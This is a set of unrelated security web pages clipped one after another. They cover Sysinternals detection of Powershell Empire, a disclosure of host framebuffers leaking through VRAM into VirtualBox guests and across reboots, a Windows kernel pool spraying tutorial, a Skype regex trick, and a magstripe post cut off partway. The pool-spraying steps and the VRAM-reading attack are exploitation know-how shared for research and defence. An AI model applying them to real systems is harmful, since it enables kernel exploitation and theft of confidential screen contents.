### <img src='img/Temp2_7906.jpg' width='372' height='425' />

### TCP/IP Tab

The “TCP/IP” tab contains some great information for security competitions
that can be included in incident response reports. The following tab shows
information pertaining to established and listening connections for TCP/TCPv6,
local address/port, remote address/port, and connection status. The incident
responder also has the option to resolve domains or disable it to collect the
IP address. However, if a process has a beaconing component, the connection
entry will show up for less than a second and disappear – more on this later.

<img src='img/Temp2_7898.jpg' width='338' height='430' alt='screenshot-
from-2016-09-17-233021' />

### Strings tab

The “Strings” tab will show all printable strings within the binary on disk
and in memory. It may be useful to compare the strings from the binary on
disk\(image option\) vs. the strings in memory. In some cases, if the strings
are not the same, this may be an indicator that the process was hijacked.
Strings may reveal IP addresses, domain names, and etc which can be included
in an incident response report.

<img src='img/Temp2_7905.jpg' width='292' height='362' alt='screenshot-
from-2016-09-17-233034' />

### **Process state\(s\) and tricks**

  1. Right-click a process 
     * Kill Process 
       * As the name implies, this will kill the process
     * Set Priority 
       * If you have a piece of malware you are still analyzing or can’t kill an incident responder can set the priority to “Idle”. This will reduce the amount of processing time and resources the malicious process can utilize.
     * Kill Process Tree 
       * If a malicious parent process is spawning malicious processes the incident responder can kill the entire chain.
     * Restart 
       * The ability to restart a process
       * An incident responder can restart a process to see the initial beacons to a C2 server.
     * Suspend 
       * THIS trick is one of my favorite features built into Process Explorer, especially in security competitions. The Red Team may deploy malware that has multiple processes that look out for each other like watchdogs. For example, let’s say I have deployed malware which has three processes named A, B, and C.If you kill process A, B and C will notice this and respawn A – the same is true with B and C. The best way to tackle this issue is to suspend the process\(A, B, and C\) related to the malware. If the processes are looking for the existence of a process then it will appear but it won’t be active. Once all processes related to the malware are suspended, the incident responder can clean up the malware.
       * <img src='img/Temp2_7870.jpg' width='230' height='273' alt='screenshot-from-2016-09-18-001156' />

## Process Explorer Columns

The default view of Process Explorer is pretty verbose but it doesn’t include
all columns for a competition. You may enable additional columns to display
additional attributes about each process, such as:

  * Comand line
  * User that owns the process
  * Verified signer/Digitally signature of the process 
    * It’s a rule by Microsoft that all Microsoft code _**should**_ be signed.
  * Version of the process
  * Image path where the binary resides
  * Auto-start location in the registry
  * Start time of the process
  * Threads of the process, or Number of threads
  * Memory Usage

  1. Right-click the column at the top of the processes and select “Select columns”
  2. Checkboxes to enable a column

<img src='img/Temp2_7888.jpg' width='325' height='437' alt='screenshot-
from-2016-09-18-000234' />

## Digital/Verify signature of processes

One way to discover malware is a process that isn’t digitally signed by
Microsoft or an authorized digital signature authority. The easiest way to
detect UNsigned processes is to enable the “Verified Signature” column. As a
side note, it is a rule at Microsoft that all code by Microsoft _**should**_
be signed by Microsoft. FYI, if this computer is unplugged from the internet,
it will verify signatures using its built-in record set. If a certificate has
been revoked, this may not be in the built-in record set – no detection.

  1. Select “Options” at the top then “Verify image signatures”. <img src='img/Temp2_7901.jpg' width='260' height='300' /><img src='img/Temp2_7878.jpg' width='706' height='372' />

## DLL Handles Viewer

This pane will display DLLs being used by a process OR handles being utilized
by a process. A DLL is dynamically linked library which is loaded at run time.
Handles are references to a resource such as memory or an open file on disk.
This section can be very useful but is overwhelming unless you know what you
are looking for.

In the Red Team section above, we injected a Powershell Empire agent into
LSASS. By default, LSASS uses the Microsoft C runtime and at the time of this
writing, does NOT depend on the Microsoft .NET framework. Therefore, one way
to detect if Empire has been injected into LSASS is to detect if the Microsoft
.NET runtime has been loaded.

  * Pressing “Ctrl + D” will open the DLL viewer for a particular process.

<img src='img/Temp2_7872.jpg' width='689' height='202' />

## Process dump

Process Explorer allows for a Blue Teamer to dump the contents of a process
from memory. This dump can then be analyzed by tools such as Volatility and
Rekall for further analysis. However, you will **NOT** have time in a
competition to analyze a memory dump. This is a cool thing to know but is not
something to be done in a competition.

  1. Right-click the “Powershell.exe” process
  2. Go to “Create dump” then select “Create Full dump”

<img src='img/Temp2_7880.jpg' width='300' height='143' alt='screenshot-
from-2016-09-17-235930' />

## Replace default Task Manager

Process Explorer allows you to replace the Task Manager with Process Explorer.
This is a really great shortcut for Blue Teamers during a competition.

  1. Select “Options” at the top then select “Replace task manager”

<img src='img/Temp2_7869.jpg' width='253' height='300' alt='screenshot-
from-2016-09-18-000133' />

## Detecting process injection

Below, I am going to demonstrate how to detect Powershell Empire when injected
into a process. The mileage with this detection technique may vary with
different Red Team tools. If you look at the running threads for a process
that has been injected into, you might see a thread with a start address of
“0x0”. In a competition, if a start address is set to 0x0 there is a high
likelihood it’s an injected thread. If you believe this is a malicious thread,
kill the thread, and if you’re correct, their Powershell Empire agent should
die\(Second screenshot\). If you would like more information on this
technique, please see this tutorial for more information

  1. Double-click LSASS.exe
  2. Select the “Threads” tab<img src='img/Temp2_7893.jpg' width='471' height='262' />

<img src='img/Temp2_7881.jpg' width='484' height='137' />

# **TCPview**

This tool is _like_ a graphical version of the netstat command. By default,
the “Unconnected endpoints” option is enabled. When this option is toggled, it
will only show established TCP connections. Additionally, if toggled again,
UDP connections, listening services, and TCP states like “TIME\_WAIT” will be
displayed. This is one of the many tools in Sysinternals which is simple and
straightforward. As mentioned above, malware with beacon like components will
be displayed in green for less than a second.

## Network colors

  * Green – Newly launched network connections
  * Red – Terminated network connections

## Unconnected Endpoints Disabled

<img src='img/Temp2_7874.jpg' width='760' height='71' alt='capture1' />

## Unconnected Endpoints Enabled

<img src='img/Temp2_7884.jpg' width='722' height='236' />

## Process Details

<img src='img/Temp2_7889.jpg' width='253' height='139' alt='capture3' /> <img
src='img/Temp2_7903.jpg' width='300' height='188' alt='capture4' />

# **Autoruns**

Autoruns is a tool that will enumerate all the KNOWN locations that
persistence can be placed. Persistence is “an object and process
characteristics that continue to exist even after the process that created it
ceases or the machine it is running on is powered off. When an object or state
is created and needs to be persistent, it is saved in a non-volatile storage
location, like a hard drive, versus a temporary file or volatile random access
memory “.

For example, persistence is an application that runs when you login or a
service that starts at boot. Red team will place their malware in these
persistent locations to survive a reboot or when the user logs out. Persistent
mechanisms include: scheduled tasks, drivers, services, logon tasks, Office
products, etc.

In a fresh installation of Windows 7 there are roughly 1,000+ persistent
techniques that can be used. Unfortunately, I can’t find my source for this
statement so accept it as is. I would also take the time to watch this Youtube
video: T117 Evading Autoruns Kyle Hanslovan Chris Bisnett on different ways to
evade Autoruns.

Pro tip for Blue Teamers in a competition: Finding ALL the persistent
mechanisms planted by the Red Team is the best way to kick the Red Team out of
your box. If you have successfully removed all the persistent mechanisms, the
next step is to reboot the box. A reboot will wipe all the contents of memory,
so any trusted processes that have been injected, will no longer contain
malicious code. Additionally, persistence can be extended to things such as
users which will NOT be displayed by Autoruns.

  * Everything tab – This tab by default will show all scheduled items such as: drivers, services, scheduled tasks, logon tasks, Office products, etc. To hide Microsoft signed items select “Options” at the top then “Hide Microsoft Entries”.<img src='img/Temp2_7894.jpg' width='764' height='186' />
  * Logon tab – All the tasks that will run when a user logs on.<img src='img/Temp2_7876.jpg' width='714' height='169' />
  * Explorer tab – All the tasks that will run when explorer.exe starts.<img src='img/Temp2_7867.jpg' width='743' height='166' />
  * Scheduled tasks tab – All the scheduled tasks on the system.<img src='img/Temp2_7886.jpg' width='742' height='208' />
  * Drivers tab -Display all the hardware drivers<img src='img/Temp2_7887.jpg' width='742' height='220' />

## Scan options

  1. Go to “Options” and select “Scan options”. 
    1. The incident responder can select to submit files to VirusTotal. 
      1. Can also submit unknown images.
    2. The incident responder can select to verify signatures.<img src='img/Temp2_7873.jpg' width='513' height='311' />

## Discover Empire

  1. Enter “powershell” into the search filter. 
    1. The persistent mechanism we placed earlier will show up. This persistent mechanism will run when the machine starts up.<img src='img/Temp2_7892.jpg' width='639' height='179' />

# **ListDLLs**

The name of this tool is self-explanatory on its ability; you have the ability
to search for a specific DLL being utilized by processes, enumerate DLLs in a
process/PID, or enumerate all unsigned DLLs.

## List the DDLs in each process

  1. OpenPowershell prompt as Administrator
  2. Cd Sysinternals
  3. .\listdlls.exe<img src='img/Temp2_7908.jpg' width='620' height='568' />

## List all the UNsigned DDLs in processes

  1. .\listdlls.exe -u<img src='img/Temp2_7871.jpg' width='614' height='129' />

## List all the processes that contain a specific DLL

A common DLL loaded by Powershell Empire is Microsoft.CSharp.ni.dll. Looking
for this DLL in processes can help you detect Powershell Empire even if
process injection occurred.

  1. .\Listdlls.exe -d Microsoft.CSharp.ni.dll<img src='img/Temp2_7899.jpg' width='928' height='269' />

# **Sigcheck**

Sigcheck is a great tool that can be used to verify all executables on a
Windows system. Sigcheck has the option to check all unverified executables if
they are not signed to submit them to VirusTotal. If Sigcheck happens to find
a malicious executable, it will open a VirusTotal webpage to the results and
Sigcheck will return the location of executable.

Red teamers will place their malware in C:\Windows\System32 because that is
where Windows places its binaries. The location of the binary may make the
binary seem legit.

## Clean Windows 10 system

  1. OpenPowershell prompt as Administrator
  2. Cd Sysinternals
  3. .\sigcheck.exe -e -u -vr -s C:\Windows\System32
    1. -e: Look at all executables
    2. -u: Look at all executables that are unsigned
    3. -vr: Submitting executables to VirtusTotal for analysis
    4. -s: A recursive search
    5. C:\Windows\System32 – Location to search<img src='img/Temp2_7868.jpg' width='545' height='109' />

## Malicious binary

I copied a malicious binary generated by Empire to C:\Windows\System32. This
binary is UNsigned and as we discussed above is a tactic used by the Red Team.
The screenshot below is demonstrating Sigcheck detecting a rogue binary.

  1. .\sigcheck.exe -e -u -s C:\Windows\System32<img src='img/Temp2_7902.jpg' width='673' height='193' />

# **Procmon**

Process Monitor\(ProcMon\) is an advanced monitoring tool for Windows that
shows real-time file system, Registry, and process/thread activity. It
combines the features of two legacy Sysinternals utilities, Filemon and
Regmon, and adds an extensive list of enhancements including rich and non-
destructive filtering, comprehensive event properties such session IDs and
user names, reliable process information, full thread stacks with integrated
symbol support for each operation, simultaneous logging to a file, and much
more. Its uniquely powerful features will make Process Monitor a core utility
in your system troubleshooting and malware hunting toolkit.

Procmon is an **ADVANCE** tool and tends to overwhelm beginners – I know it
overwhelmed me at first. However, once you understand the fundamentals of how
the Windows OS works, it becomes less scary. Procmon by default shows ALLLLLLL
the activities happening on the current machine in real time. The hard part is
knowing what to filter out. Procmon provides a filter ability to look for a
certain type of action or a set of actions. I am going to demonstrate one way
to use a Procmon filter to detect Powershell Empire beaconing.

<img src='img/Temp2_7882.jpg' width='672' height='195' alt='screenshot-
from-2016-09-18-020940' />

## Detect Powershell Empire beaconing

This Procmon filter will display all the “TCP Connect” operations happening on
the machine. The trick is to look for processes that are consistently making a
TCP connection on a constant interval. The second screenshot below shows
Powershell.exe and LSASS.exe\(our injected process\) making connections on an
interval\(3 seconds\) to 172.16.66.128 on port 80.

  1. Select “Filter” at the top then “Filter”
  2. Add a new entry which matches: 
    1. Set Action to “Operation”
    2. Set operator to “is”
    3. Enter “TCP Connect” into the text filter
    4. Set the selection to “Include”<img src='img/Temp2_7897.jpg' width='427' height='121' />
    5. Select “Add”<img src='img/Temp2_7896.jpg' width='678' height='355' />

# Sooooo now what?

I often get asked the question “How do I get better at defending Windows?”.
The answer I give is not the answer most people are looking for but it is
**CRUCIAL**. My advice is “Create a Windows 10 VM from an ISO and **ONLY**
look at the processes running”. Understand parent process and child process
relationships. Understand how Windows uses the registry and what type of
settings are stored here. The ultimate goal is to understand what **IS**
normal vs what looks weird – weird is usually Red Team.

The unfortunate thing about security is the step everyone wants to skip is the
basics. I understand that looking at a Windows machine sounds boring but if
you don’t understand how the OS works normally, how can you detect malicious
activity? How can we have a conversation, if you don’t understand why
LSASS.exe having a child process of Powershell is bad? Another saying I often
say is “In security, the boring grunt work is typically the most important”.

However, to make this more exciting, my recommendation is to use a Red Team
framework like Powershell Empire, Cobalt Strike, or Metasploit. Use these
frameworks to attack a Windows machine\(A machine YOU own\) and perform
malicious activities like placing persistence or replacing binaries. Once you
have performed a combination of these Red Team actions, perform forensics to
detect these activities. By understanding the effects of Red Team activities
on a box, it becomes easier to detect them.

# DISCLAIMER

**The information contained in this blog post is for educational purposes
ONLY\! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any
responsibility for any misuse or damage of the information provided in blog
posts, discussions, activities, or exercises.**

# DISCLAIMER

# **Resources/Sources**

  * VirusTotal
  * Sysinterals
  * Malware Hunting with Mark Russinovich and the Sysinternals Tools
  * Sun Tzu qoute
  * Logon types in Windows Server
  * Bypassing Anti-virus by Creating Remote Thread into Target Process
  * What does Persistence mean?

  

# https://hsmr.cc/palinopsia/

**Created:**| _3/22/2015 3:56:09 PM_  
---|---  
**Updated:**| _7/15/2015 2:31:26 PM_  
**Author:**| __  
**Tags:**| _virtusalisation GPU_  
  

# Palinopsia

## Is your VirtualBox reading your E-Mail? Reconstruction of FrameBuffers from
VRAM

This document describes a method of reading and displaying previously used
framebuffers from a variety of popular graphics cards. In all 4 tested laptops
the content of the VRAM was not erased upon reboot. It is also possible to
show that the content of the host VRAM can be accessed from a VirtualBox
guest, thereby leaking possibly confidential information from a trusted host
into an untrusted guest machine.

### Update:

The discussion on hacker news provided some prior art

## Affected drivers and operating systems

The following combinations of operating systems and drivers were tested and
shown to be susceptible to leaking previous frame buffers into VRAM:

  1. Linux using the open source radeon driver for AMD/ATI cards
  2. Linux usig the open source nouveau-driver for nVidia-cards
  3. Linux using the closed source nVidia-driver
  4. Windows using the closed source AMD/ATI catalyst driver

We did not test any other systems or drivers.

## Cards affected

During testing, the following 4 cards proved to be susceptible to this method:

  1. ATI Radeon HD3750
  2. ATI Radeon HD4350/4550
  3. nVidia NVS 5400M
  4. nVidia GeForce GT650M

Note: The cards above are all the AMD and nVidia cards available at the time
of testing. It is therefore highly likely that a lot more cards exhibit this
behaviour.

On a laptop with an Intel HD4000 and a dedicated nVidia card where the OS can
switch between cards, one has to force the usage of the dedicated card to read
from VRAM. The internal graphics card seems to be unaffected at the moment.
Tests showed that in this setup only programs forced to run on the dedicated
card will leak data to VRAM.

## Proof of Concept

The basic idea of the proof-of-concept code is remarkably simple: It allocates
a number of texture buffers in VRAM without initializing them, then directly
renders them onto the screen, thereby accessing previously used buffers.

The Code available here uses the SDL2 library.

In most Linux distributions it can be compiled using the following command:
`g++ main.cpp -std=c++11 `pkg-config --libs --cflags sdl2` -o poc`

The proof of concept executable excepts 3 arguments: `./poc <width> <height>
<vram in megabytes>`

The first two arguments represent the width and height of buffers that should
be allocated. The last argument represents the amount of VRAM to be allocated.
To avoid crashes, this should be slightly lower than the actually available
VRAM.

After the buffers are allocated, they can be navigated by using the following
keys:

  * Left/Right: go forward/backward a single frame
  * Up/Down: go forward/backward ten frames
  * Space: save current buffer to \*.bmp

## What can be reconstructed?

The quality of the result seems to be dependent on the combination of the
graphics hardware and the driver. Some combinations produce allmost perfect
screenshots documenting user behaviour, while others produce fragmented frames
with what seems to be interlacing. The example frames below demonstrate this
effect. We are sure, that some math magic could help here.

## Reboot

3 out of 4 tested laptops did not erase or overwrite their VRAM upon reboot\!
This offers a potential attack surface for an attacker trying to read
confidential information from a locked computer he has physical access to. A
possible attack on a Windows-machine might look like this:

  1. The user works on a confidential document and locks their screen
  2. The attacker gains physical access and reboots the system \(from the lockscreen\) into a live system of their choice
  3. The attacker reads out the VRAM and recovers screenshots of the document

This scenario was tested on a Lenovo Thinkpad W500 with a ATI Radeon HD3750
graphics card. Below is a screenshot from within the Windows system, with a
mock-up confidential document:

<img src='img/Temp2_10331.png' width='1679' height='1049' alt='Screenshot Win
#1' />

"screenshot" of the same document after rebooting into a Xubuntu live system
and running the proof of concept code:

<img src='img/Temp2_10332.png' width='1680' height='1050' alt='Screenshot
Xubuntu #1' />

While the document is not entirely readable due to fragmentation and
interlacing, the color coding shows us that the entirety of the screen might
still be recoverable from VRAM. There are also clearly readable fragments.

## Tails

Even 'the amnesiac icongnito live system' \(tails\) seems to be susceptible to
this attack. Fragmented screens of a terminated tails session were recoverable
after rebooting into a different operating system. This partially defeats the
'amnesiac' property of the system.

The following two screenshots document this experiment:

  1. booting into tails
  2. generating an RSA private key and opening it in gedit
  3. viewing parts of the private key in xubuntu after reboot

<img src='img/Temp2_10330.png' width='1680' height='1050' alt='Screenshot Win
#1' />

<img src='img/Temp2_10335.png' alt='Screenshot Win #1' />

## Accessing host VRAM from inside a VirtualBox VM

### Update:

Oracle officially discourages enabling 3D-acceleration for untrusted guests
See their page on VirtualBox security here

If the "3D-Acceleration" feature of VirtualBox is activated, running the
proof-of-concept code from inside the VM provides the ability to read
framebuffers from the host system.

The following experiment was conducted to demonstrate this behaviour:

  1. The host system \(arch linux on a laptop running a ATI HD4350/4550 card\) is booted
  2. Wikipedia and Youtube are opened in Chromium
  3. A VirtualBox VM running Ubuntu 14.04 is booted
  4. The proof of concept code is executed. The recovered frames belong to the host system and clearly show the visited websites

<img src='img/Temp2_10328.png' width='1600' height='900' alt='Screenshot VM
#1' />

<img src='img/Temp2_10334.png' alt='Screenshot VM #1' />

## Gallery

The following are interesting screens that where recovered using the proof of
concept code:

The i3lock screen during password entry, containing some interesting
artifacts:

<img src='img/Temp2_10329.png' width='1600' height='900' alt='i3lock' />

Some textures recovered after a few rounds of counterstrike:source:

<img src='img/Temp2_10333.png' alt='cs' />

## What we didn't test

It might be possible to leak the content of the VRAM of hardware-accelerated
server systems that run thin client  
infrastructures. In the scariest possible way this means that an attacker
could read the memory of any machine running in a company. This could also
affect big players providing virtual desktops in the cloud.

### Disclaimer:

As time and money are things we don't have in huge amounts, we were limited in
our testing. Everything was done on a student budget in our free time.

## Why full disclosure?

The methods described in this document is not limited to a single vendor or
operating system, and has the potential to endanger private data. Furthermore,
the basic concept is so remarkably simple that it seems unlikely that this is
the first discovery of this behaviour. Therefore, full disclosure seems to be
the ethical choice.

## Mitigation

If you use you computer to access sensitive data, TURN IT OFF after usage, so
VRAM is disconnected from power.  
Be wary of virtual machines with access to hardware accelerated graphics.

# Windows Kernel Pool Spraying | TRACKWATCH
**Created:**| _5/24/2017 1:36:18 PM_  
---|---  
**Updated:**| _5/24/2017 1:36:18 PM_  
**Author:**| __  
**Tags:**| _windows security kernel awesome_  
  

  

24 mai 2017 / Last updated : 24 mai 2017 Philippe Non classé

# Windows Kernel Pool Spraying

## I\) Introduction

When you are trying to exploit a kernel pool vulnerability, you’ll have to
deal with chunks and pool metadata. There is severals checks made on chunks
headers, and you’ll have to control everything if you want to avoid the BSOD.

Pool spraying is the art of making the allocations in the pool predictible. It
means you’ll be able to know where a chunk will be allocated, and which chunks
are around.

This is mandatory if you want to leak some precise informations, or overwrite
specific data.

The purpose of this paper is not to explain in depth the pool internals, but
only the basics you need to know in order to understand the spraying
mechanics.

If you need exhaustive informations on the pool internals, you should read
Tarjei Mandt papers \[1\] \[2\].

For the very same reasons, we will speak only of the x64 architectures.

Everything presented in this paper is made with Windows internals only, and
can be applied on every versions from Windows 7 to Windows 10.

## II\) Some Pool Internals

The pool is the common place for every allocations in the Windows kernel.
Since it’s very used, it’s more complex to control than a simple heap. It
manages all type of data, from the simplest string to the biggest structures.
Even if it’s not much different from a heap, the pool got its own allocator
and structures.

The operating system kernel in Windows sets aside two pools of memory, one
that remains in physical memory \(NonPaged Pool \) and one that can be paged
in and out of physical memory \(Paged Pool\). Note that Windows 8 introduced
the NonPagedPoolNx ; it’s basically a NonPagedPool with DEP enabled.

There is several types of Pool, but the main structures are the same.

The _Pool Descriptor_ keeps informations on the current state of the pool, it
contains :

  * A _Deferred Free list_ \(enabled by default\) : a list of chunks which will be freed when the list is filled
  * A _ListHeads_ : A LIFO list of free chunks sorted by size
  * A _Lookaside List_ : A LIFO list of free chunks sorted by size. Very similar to the Lisheads list, but with a few limitations.
  * Misceallenous informations on current allocations

The Lookaside list is a LIFO list of small free chunks, also sorted by size.
It’s used as an alternative to the ListHeads for the chunks with a size
inferior or equal to 0x200 \(512\) bytes, improving performances. Its
internals will be described a bit later.

In plain terms, the pool is just a list of allocated pages. A page is 0x1000
bytes long, and is fragmented in chunks.

There are chunks that are bigger than 0x1000 bytes, and those represents a
special case that we won’t study.

So we will focus on chunks smaller than 0xFF1 bytes.

Here is the structure of a kernel pool chunk :

<img src='img/Temp2_9902.png' width='771' height='431' />

  * **PreviousSize** : The blocksize of the previous chunk. This blocksize is stored as : actual\_size >> 4 \(divided by 16\)
  * **PoolIndex** : index used to get the pool descriptor from this chunk in an array of pool descriptor of the corresponding pool type.
  * **BlockSize** : The blocksize of the chunk. This blocksize is stored as : actual\_size >> 4 \(divided by 16\)
  * **PoolType** : a bitmask containing a few details on the chunk : 
    * Its pool type \(Nonpaged, paged…\)
    * If it’s allocated or not
    * Quota bit : If the chunk is used in the management of a process’ quota. If this flag is raised, a pointer to the corresponding EPROCESS object is stored in ProcessBilled
    * Some other informations
  * **PoolTag** : 4 characters used to identify the chunk when debugging
  * **ProcessBilled** : If the Quota bit is set, a pointer to an EPROCESS object.

### Allocations / Free in Kernel Pool.

The pool has 3 differents ways to allocate a chunk :

<img src='img/Temp2_9896.png' width='795' height='519' />

  * If the chunk is a small chunk \(≤ 0x200 bytes\), the allocator will first try to use the lookaside lists. It will look for a chunk with the exact same size as requested. If there is no such chunk, the allocator will use the next way.
  * It will then use the ListHeads, and will also look for a chunk with the exact same size as requested. If there is no such chunk, the allocator will take a bigger chunk and split it in two parts ; one will be allocated, and the other one stored in the appropriate ListHeads.
  * If there is no corresponding chunks, it will allocate a new page, and it’s first chunk will be allocated at the top of the page. Every following chunk will be allocated at the bottom of the page.

<img src='img/Temp2_9903.png' width='720' height='235' />

In the same way, there is several mechanisms for freeing a chunk :

<img src='img/Temp2_9898.png' width='951' height='521' />

  * If the chunk is a small chunk \(≤ 0x200 bytes\), the allocator will first try to store it in the lookaside list corresponding to its type. However, a lookaside list can contain a maximum of 0xff \(255\) chunks of the same size, so it might be full.
  * If the DELAYED\_FREES flag is raised \(it is by default\), the chunk will be stored in the DeferredFree list, until this list is full \(maximum 0x20 chunks\). Once it’s full, the list is used to free every chunk at the same time, improving performances.
  * Finally, the chunk is actually free ; the allocator checks if the surrounding chunks are free, and coalesce them if it ‘s the case, then store the new chunk in the appropriate ListHeads. If a whole page is actually freed, it will be simply desallocated.

## III\) Pool Spraying Basics

Now, let’s go right to the subject.

The basic of spraying is to allocate enough objects to make sure you control
the future allocations. Windows provides us many tools permitting the
allocation of objects in the differents types of pool.

For example, we can allocate _ReservedObjects_ or _Semaphores_ in the
**NonPagedPool** \(NonPagedPoolNx on Windows 8 and later\).

It’s up to you to find the object that will match the type of pool you want to
control.

The size of the object you chose will also matters, since it’s directly linked
to the size of the gaps you’re going to create.

Once you chose your object, you’ll first derandomize the pool, by allocating
massively this object.

The idea is to create pool pages like this :

<img src='img/Temp2_9900.png' width='623' height='351' />

When you will allocate those objects, Windows will obviously not provide you
their address, since it’s some kernel-land addresses, but it will give you a
handle on this object.

You can use this handle to free the object by calling CloseHandle\(\).

Allocating this object massively assures us that we completly drained
Lookaside and ListHead lists, and from now on, every allocations we make is
using a new page.

If we keep a list of handles for all the objects we allocated, we might assume
that there is a kind of correlation between the pool and our list of handle :

<img src='img/Temp2_9897.png' width='590' height='448' />

It allows us to easily create gaps with a semi-controlled size \(since its the
product of our object’s size\), by calling CloseHandle\(\) on chunks that are
next to each other.

<img src='img/Temp2_9901.png' width='590' height='448' />

Some details remains and might cause you trouble :

  * If the size of the object you chose is ≤ 0x200 bytes, which is more than likely, the corresponding chunk will be freed in the lookaside list, avoiding the coalescing of the chunks.To avert this, you have to fill the lookaside list, by freeing enough objects just before freeing the chunks that will compose the gap.
  * Your freed chunks might then fall in the DeferredFree list, and won’t coalesce immediatly. So you have to free enough objects to fill this list just after freeing the chunks that will compose the gap.
  * Finally, you’re allocating in the pool, and it’s common to the whole kernel. It means the gap you just created might be allocated at any moment by something you don’t control. You’ll have to be fast \!

Short abstract of the steps :

  1. Chose the chunks to be freed using their handles
  2. Free enough chunks to fill the lookaside list
  3. Free the chosen chunks
  4. Free enough chunks to fill the DeferredFree list
  5. Use your gap as fast as possible \!

## IV\) Linking with the leaks

I said just before that Windows won’t give you the address of your objects
since it’s kernel addresses . Well, I lied to you. Yes.

On Windows, there is some well known leaks using the function
**NtQuerySystemInformation\(\)**. This function is a bit magical, and allows
many leaks of kernel addresses.

We are mainly interested in its capacity to provide a list of every objects
currently allocated, by giving us those structures :

[code]

    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
    {
     PVOID Object;
     ULONG_PTR UniqueProcessId;
     HANDLE HandleValue;
     ULONG GrantedAccess;
     USHORT CreatorBackTraceIndex;
     USHORT ObjectTypeIndex;
     ULONG HandleAttributes;
     ULONG Reserved;
    } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
[/code]

[code]

    typedef struct _SYSTEM_EXTENDED_HANDLE_INFORMATION
    {
     ULONG_PTR NumberOfHandles;
     ULONG_PTR Reserved;
     SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
    } SYSTEM_EXTENDED_HANDLE_INFORMATION, *PSYSTEM_EXTENDED_HANDLE_INFORMATION;
[/code]

Calling **NtQuerySystemInformation** with the
**SystemExtendedHandleInformation** argument provides us the
**\_SYSTEM\_EXTENDED\_HANDLE\_INFORMATION** structure.

We can use the _Handles_ field to list every object allocated on the system.

Every object is described by the **\_SYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO\_EX**
structure, which contains :

  * The _HandleValue_ field that matchs the handle we got when we allocated the object.
  * The _Object_ field that is the address of the object in the kernel pool memory.

Voilà \! By using this list, we can get any object kernel address using its
handle \!

We can use this to:

### Improve our spraying and make it 100 % reliable.

Our current method to create gaps in the pool is not that much trustworthy ;
even if there is a lot of chances that two objects allocated one just after
the other are two chunks next to each other in pool memory, it’s still not
sure. They might have been allocated in two different pages, or a unknown
chunk could have been allocated between them, who knows.

With those address leaks, we are able to easily make sure the gaps we create
are valid :

  * Chose a handle in our list and leak its kernel address
  * Take the following handle and leak its address ; it should be equal to the previous address added to the size of the chunk. If not, then the chunks aren’t next to each other, and the gap won’t be valid

Check this for every chunks composing the gap, but also for those surrounding
the gap.

<img src='img/Temp2_9899.png' width='739' height='341' />

Using this method, we are 100 % sure that our gap is valid.

## V\) Conclusion

Nowadays, pool spraying is so powerful that exploiting a vulnerability in the
kernel pool without it seems impossible.

However, pool spraying remains limited on a few points .

First, we can’t create gaps of arbitrary size, since it will always depends of
the size of the object chosen for spraying.

Of course, we might imagine a spray mixing several objects in order to create
gaps with more varied sizes, but so far we never needed to use such methods.

Though It remains entirely possible, since the address leaks will always
allows us to assure the validity of our gaps.

Second, it also seems complicated to predict the allocation of a chunk with a
size inferior or equal to 0x200 bytes, since this allocator will use the
lookaside list. The only way to achieve this is to use an object with the
exact same size of the chunk you want to control.

It should be time for Windows to remediate the
**NtQuerySystemInformation\(\)** leaks, because it’s the only way in my
opinion to finally mitigate every attacks on kernel pool.

Until then, enjoy your kernel pool parties \!

## VI\) References

\[1\] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf  – Tarjei
Mandt’s paper on Windows 7 Kernel Exploitations

\[2\] http://illmatics.com/Windows%208%20Heap%20Internals.pdf – Windows 8 Heap
internals

\[3\] http://blog.ptsecurity.com/2013/03/stars-aligners-how-to-kernel-
pool.html – Great article on pool spraying and exploitation

\[4\] https://github.com/fishstiqz/poolinfo – This extension is great for
investigating the pool state

Catégories

    Non classé
### Laisser un commentaire .

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont
indiqués avec \*

Commentaire

Nom \*

Adresse de messagerie \*

Site web

  

# Skype's Crazy Regex Easter Egg

**Created:**| _2/15/2011 8:01:13 AM_  
---|---  
**Updated:**| _2/15/2011 8:02:10 AM_  
**Author:**| __  
**Tags:**| _Hacks voip_  
  

# Skype's Crazy Regex Easter Egg

#  

  

  

Today I was chatting with a colleague on Skype, and as is often the case,
misspelled something in my rush to get something across.

A habit I picked up in the IRC days, days I realize have not ended for some,
is to use the Perl syntax for doing a regex substitution to indicate a
correction. For example, if you wrote "hello wrld", I would indicate my
correction using "s/wrld/world/". Crazily enough, this now works in Skype. It
just edits your previous post inline\!

Some experimentation shows that it isn't a full regular expression engine, it
will only do straight word substitution. It also assumes the 'g' or 'global'
flag, so all words that match your string will be replaced, not just the
first.

Bit it is super cool stuff, a brief demonstration:

<img src='img/Temp2_7565.png' width='495' height='178' />

Noticed how I mispelled word as wrd. No worries, I can edit that post with the
regex:

<img src='img/Temp2_7564.png' width='495' height='180' />

Hats off to Skype on this one, neat stuff.

  

# MatthewNeely.com - Security Second Thoughts - Magstripe Analysis Part 2 –
HiCo and LoCo Cards

**Created:**| _5/21/2009 12:06:07 PM_  
---|---  
**Updated:**| _5/21/2009 12:06:24 PM_  
**Author:**| __  
**Tags:**| _Hacks_  
  

**MAGSTRIPE ANALYSIS PART 2 – HICO AND LOCO CARDS**  

MONDAY, DECEMBER 29, 2008 AT 12:28AM

This is part two of my series on analyzing magnetic stripe \(magstripe\) cards
for security assessors and penetration testers. In the first part of the
series I talked about the ISO standards used to define most magstripe cards.
Today I'm going to talk about the difference between HiCo and LoCo cards and
how this can impact reading and writing cards.

<img src='img/Temp2_5267.jpg' />The classic magstripe is black in color,
however today they come in a variety of different colors. The strips are made
of tiny magnetic particles such as iron oxide or barium ferrite. Ones and
zeros are encoded onto the strip by changing the polarity of the particles
along the length of the strip, the exact process used to translate the magnet
flux changes into ones and zeros will be explained in a future post.

Magnetic stripes are divided into two categories depending on how much force,
measured in Oested \(Oe\) units, it takes to change the polarity of the
particles and write data to the strips. This is also referred to as the
coercivity of a card. Cards that require a 300 Oe field to write data are
classified as Low Coercivity \(LoCo\) cards and cards that take a 2500-4000 Oe
field are classified as High Coercivity \(HiCo\) cards.

In the past HiCo cards were only used in industrial environments were the
cards would encounter strong magnetic fields. For example magstripe access
